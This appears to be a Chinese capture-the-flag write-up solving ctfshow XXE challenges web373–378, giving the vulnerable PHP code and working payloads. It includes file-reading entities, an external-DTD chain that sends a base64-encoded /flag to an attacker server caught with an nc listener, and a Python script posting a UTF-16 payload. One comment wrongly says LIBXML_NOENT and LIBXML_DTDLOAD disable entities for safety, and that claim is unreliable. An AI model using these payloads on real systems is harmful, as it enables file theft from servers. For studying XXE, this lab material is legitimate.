web373
<?php
error_reporting(0);
libxml_disable_entity_loader(false);//启用外部实体加载器
$xmlfile = file_get_contents('php://input');//输入流等会payload我们用POST传参
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
使用 loadXML 方法加载 XML 数据到 DOM 文档对象 $dom 中。加载过程中使用了 LIBXML_NOENT 和 LIBXML_DTDLOAD 参数,这些参数用于禁止实体扩展和加载外部的 DTD 文件,以提高安全性。
$creds = simplexml_import_dom($dom);//将对象转为SimpleXMLElement 对象
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<baozongwi>
<ctfshow>
&xxe;
</ctfshow>
</baozongwi>
web374–web376
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这里比上题少两句没有转化为SimpleXMLElement 对象所以也没有赋值
test.dtd:
<!ENTITY % dtd "<!ENTITY %xxe SYSTEM 'http://xxx:9999/%file;'> ">
%dtd;
%xxe;
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % aaa SYSTEM "http://xxx(你的服务器)/test.dtd">
%aaa;
]>
<root>
123
</root>
test:dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://xxx:9999/?x=%file;'>">
%eval;
%exfiltrate;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://xxx/test.dtd">%xxe;]>
<root><ctfshow>&xxe;</ctfshow></root>
服务器开始监听
nc -lvp 9999
web377
import requests
# 目标URL
url = 'https://9afc298f-29cf-44ab-b8a4-7f6d66f67905.challenge.ctf.show/'
# XML实体注入的payload,已转换为UTF-16编码
payload = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxxx/test.dtd">
%aaa;
]>
<root>123</root>""".encode('utf-16')
# 发送POST请求,注意:verify=False关闭了SSL验证,仅在测试环境下使用!
response = requests.post(url, data=payload, verify=False)
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://xxxx:9999/?x=%file;'>">
%eval;
%exfiltrate;
nc -lvp 9999 //服务器监听
web378
登录成功但是没有回显,抓包
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
抓包发现码,改包
type: "POST",
url: "doLogin",
contentType: "application/xml;charset=utf-8",
POST传参:
<!DOCTYPE test[
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>
&xxe;
</username>
<password>
&xxe;
</password>
</user>